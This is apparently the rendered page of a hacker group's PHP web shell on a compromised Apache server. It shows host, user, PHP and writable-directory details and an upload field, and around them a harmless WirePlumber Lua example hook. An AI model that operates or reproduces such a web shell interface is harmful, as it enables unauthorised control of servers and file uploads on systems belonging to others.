Cyb3r Drag0nz Team Shell
Cyb3rDrag0nz


Server : Apache
System : Linux wealthytechsolutions.wealthytechsolutions.com 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : raybondt ( 1003)
PHP Version : 8.3.31
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/wireplumber/scripts/linking/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/wireplumber/scripts/linking/find-user-target.lua.example
-- WirePlumber
--
-- Copyright © 2022 Collabora Ltd.
--
-- SPDX-License-Identifier: MIT
--
-- example of a user injectible hook to link a node to a custom target

lutils = require ("linking-utils")
log = Log.open_topic ("s-linking")

SimpleEventHook {
  name = "linking/sample-find-user-target",
  before = "linking/find-defined-target",
  interests = {
    EventInterest {
      Constraint { "event.type", "=", "select-target" },
    },
  },
  execute = function (event)
    local source, om, si, si_props, si_flags, target =
        lutils:unwrap_select_target_event (event)

    -- bypass the hook if the target is already picked up
    if target then
      return
    end

    log:info (si, "in find-user-target")

    -- implement logic here to find a suitable target

    -- store the found target on the event,
    -- the next hooks will take care of linking
    event:set_data ("target", target)
  end
}:register ()

Cyb3r Drag0nz Team